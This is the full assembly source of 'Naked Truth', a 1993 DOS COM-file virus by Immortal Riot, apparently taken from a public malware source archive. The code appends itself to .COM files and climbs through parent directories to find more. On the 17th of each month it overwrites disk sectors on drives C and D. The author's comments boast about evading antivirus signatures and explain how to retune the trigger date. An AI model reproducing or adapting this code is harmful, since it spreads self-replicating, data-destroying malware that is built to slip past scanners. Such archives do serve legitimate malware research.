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https://github.com/vxunderground/MalwareSourceCode
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245 lines
8.0 KiB
NASM
245 lines
8.0 KiB
NASM
; VirusName : Naked Truth
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; Country : Sweden
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; Author : The Unforiven / Immortal Riot
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; Date : 17/09/1993
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;
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; This is a mutation of the virus Born on the Fourth of July
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; This was written by TBSI. Mcafee scan used to find it as the
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; "ash" virus. But I changed on a few bytes, and he's now tricked.
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; Dr Alan Salomon "string" where placed at the beginning
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; of the code, but now he's cheated too..So...enjoy!
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;
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; This is a non-overwriting com infector, it is not resident.
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; It checks which day it is, and if it is the 17:ten the
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; virus will have a redeeming. A redeeming is very nice.
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;
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; This might not be the best mutation, but afterall, it
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; cheats the most common virus scanners. This was born
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; the seventeen of September 1993 (hate all date-names)
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;
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; Scan v108 can't find this, neither can S&S Toolkit 6.54,
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; havn't tried with TBScan/F-Prot, but they will probably
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; identify it as the "ash" virus.
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;
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; Regards : The Unforgiven / Immortal Riot
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code segment word public 'code' ;
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assume cs:code,ds:code ; I assume that too :)
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org 100h ;
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main proc;edure ; Old pascal coder ?
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TITLE Naked Truth ;Mutation Name...
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TOF: ;Top-Of-File
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jmp short begin ;Skip over program
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NOP ;Reserve 3rd byte
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EOFMARK: db 26 ;Disable DOS's TYPE
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DB 0 ; <- S&S Toolkit "String-Cheater".
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first_four: nop ;First run copy only!
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address: int 20h ;First run copy only!
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check: nop ;First run copy only!
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begin: call nextline ;Push BP onto stack
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nextline: pop bp ;BP=location of Skip
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sub bp,offset nextline ;BP=offset from 1st run
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mov byte ptr [bp+offset infected],0
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;Reset infection count
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lea si,[bp+offset first_four] ;Original first 4 bytes
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mov di,offset tof ;TOF never changes
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mov cx,4 ;Lets copy 4 bytes
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cld ;Read left-to-right
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rep movsb ;Copy the 4 bytes
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mov ah,1Ah ;Set DTA address ...
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lea dx,[bp+offset DTA] ; ... to *our* DTA
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int 21h ;Call DOS to set DTA
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mov ah,4Eh ;Find First ASCIIZ
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lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0
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lea si,[bp+offset filename] ;Point to file
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push dx ;Save DX
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jmp short continue ;Continue...
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return:
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mov ah,1ah ;Set DTA address ...
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mov dx,80h ; ... to default DTA
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int 21h ;Call DOS to set DTA
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xor ax,ax ;AX= 0
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mov bx,ax ;BX= 0
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mov cx,ax ;CX= 0
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mov dx,ax ;DX= 0
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mov si,ax ;SI= 0
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mov di,ax ;DI= 0
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mov sp,0FFFEh ;SP= 0
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mov bp,100h ;BP= 100h (RETurn addr)
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push bp ; Put on stack
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mov bp,ax ;BP= 0
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ret ;JMP to 100h
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nextfile: or bx,bx ;Did we open the file?
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jz skipclose ;No, so don't close it
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mov ah,3Eh ;Close file
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int 21h ;Call DOS to close it
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xor bx,bx ;Set BX back to 0
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skipclose: mov ah,4Fh ;Find Next ASCIIZ
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continue: pop dx ;Restore DX
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push dx ;Re-save DX
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xor cx,cx ;CX= 0
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xor bx,bx
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int 21h ;Find First/Next
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jnc skipjmp
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jmp NoneLeft ;Out of files
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skipjmp: mov ax,3D02h ;open file
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mov dx,si ;point to filespec
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int 21h ;Call DOS to open file
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jc nextfile ;Next file if error
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mov bx,ax ;get the handle
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mov ah,3Fh ;Read from file
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mov cx,4 ;Read 4 bytes
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lea dx,[bp+offset first_four] ;Read in the first 4
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int 21h ;Call DOS to read
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cmp byte ptr [bp+offset check],26 ;Already infected?
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je nextfile ;Yep, try again
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cmp byte ptr [bp+offset first_four],77 ;
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je nextfile ;
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mov ax,4202h ;LSeek to EOF
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xor cx,cx ;CX= 0
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xor dx,dx ;DX= 0
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int 21h ;Call DOS to LSeek
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cmp ax,0FD00h ;Longer than 63K?
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ja nextfile ;Yep, try again...
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mov [bp+offset addr],ax ;Save call location
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mov ah,40h ;Write to file
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mov cx,4 ;Write 4 bytes
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lea dx,[bp+offset first_four] ;Point to buffer
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int 21h ;Save the first 4 bytes
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mov ah,40h ;Write to file
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mov cx,offset eof-offset begin ;Length of target code
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lea dx,[bp+offset begin] ;Point to virus start
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int 21h ;Append the virus
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mov ax,4200h ;LSeek to TOF
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xor cx,cx ;CX= 0
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xor dx,dx ;DX= 0
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int 21h ;Call DOS to LSeek
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mov ax,[bp+offset addr] ;Retrieve location
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inc ax ;Adjust location
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mov [bp+offset address],ax ;address to call
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mov byte ptr [bp+offset first_four],0E9h ;JMP rel16
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mov byte ptr [bp+offset check],26 ;EOFMARK
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mov ah,40h ;Write to file
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mov cx,4 ;Write 4 bytes
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lea dx,[bp+offset first_four] ;4 bytes are at DX
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int 21h ;Write to file
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inc byte ptr [bp+offset infected] ;increment counter
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jmp nextfile ;Any more?
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NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected
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jae TheEnd ;Party over!
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mov di,100h ;DI= 100h
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cmp word ptr [di],20CDh ;an INT 20h?
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je daycheck ;je daycheck
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; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
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; Here instead of "JE" to theend here, jump to Daycheck, and if the day
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; isn't the 17:ten, just continue to theend, but if it is, have phun...
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; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
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lea dx,[bp+offset riot] ;dot-dot method..
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; MOV DX,OFFSET RIOT ;shitty liner..
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mov ah,3Bh ;Set current directory
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int 21h ;CHDIR ..
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jc TheEnd ;We're through!
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mov ah,4Eh ;check for first com
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jmp continue ;Start over in new dir
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; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
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; If you want to get a redeeming on some special month, just look at the
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; call to daycheck at "nonleft" and the call to daycheck. Change the call
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; to monthcheck, and "delete" the ";" on procedure monthcheck. But
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; remember, that makes, the virus much less destructive, and by that time,
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; all scanners has probably added a new scan-string on this one. Now it will
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; go off the 17:th every month. Feel free to modify this date as much you
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; want to.
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; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>-<2D><>-
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; monthcheck: ; check what month it is..
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; mov ah,2ah ;
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; int 21h ; dos to your service..
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; cmp dh,10 ; check if month 10..
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; je daycheck ; if yes jump to day check
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; jmp theend ; otherwise jump to theend.
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; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
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DAYCHECK: ; Check what day it is..
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mov ah,2ah ;
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int 21h ; Dos to your service..
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cmp dl,17 ; Check if it's the forbidden night..
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je redeeming ; If yes, have a great fuck..
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jmp theend ; Otherwise jump to theend
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REDEEMING: ; Havi'n such a great fuck..
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cli ; Cleaning all interrupts..>
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mov ah,2 ; Starting with drive C
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cwd ; Starting it from 0
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mov cx,0100h ; Continue to 256
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int 026h ; Direct disk-write
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jmp KARO ; Jump For Joy..(J4J)..
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KARO: ; Yet another..
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CLI ; No law-breakers here!
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MOV AL,3 ; Set to fry drive D
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MOV CX,700 ; Set to write 700 sectors
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MOV DX,00 ; Starting at sector 0
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MOV DS,[DI+99] ; Put random crap in DS
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MOV BX,[DI+55] ; More crap in BX
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CALL REDEEMING ; Start it all over..
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TheEnd: jmp return ; Getting a gold medal ?
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Immortal: db '*.COM',0 ;File Specification
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Riot: db '..',0 ;'Dot-Dot'
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MutationName: db " Naked Truth! "
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Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World "
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morefilling: db " // DEATH TO ALL - PEACE AT LAST // "
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Copyleft: db ' The Unforgiven / Immortal Riot '
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; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
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; None of this information is included in the virus's code. It is only
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; used during the search/infect routines and it is not necessary to pre-
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; serve it in between calls to them.
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; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
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EOF: ;End Of File..
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DTA: db 21 dup (?) ;internal search's data
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attribute db ? ;attribute
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file_time db 2 dup (?) ;file's time stamp
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file_date db 2 dup (?) ;file's date stamp
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file_size db 4 dup (?) ;file's size
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filename db 13 dup (?) ;filename
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infected db ? ;infection count
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addr dw ? ;Address
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main endp;rocedure
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code ends;egment
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end main
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; Greets goes out to : Raver, Metal Militia, Scavenger
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; and all other hi-tech assasins all over the world... |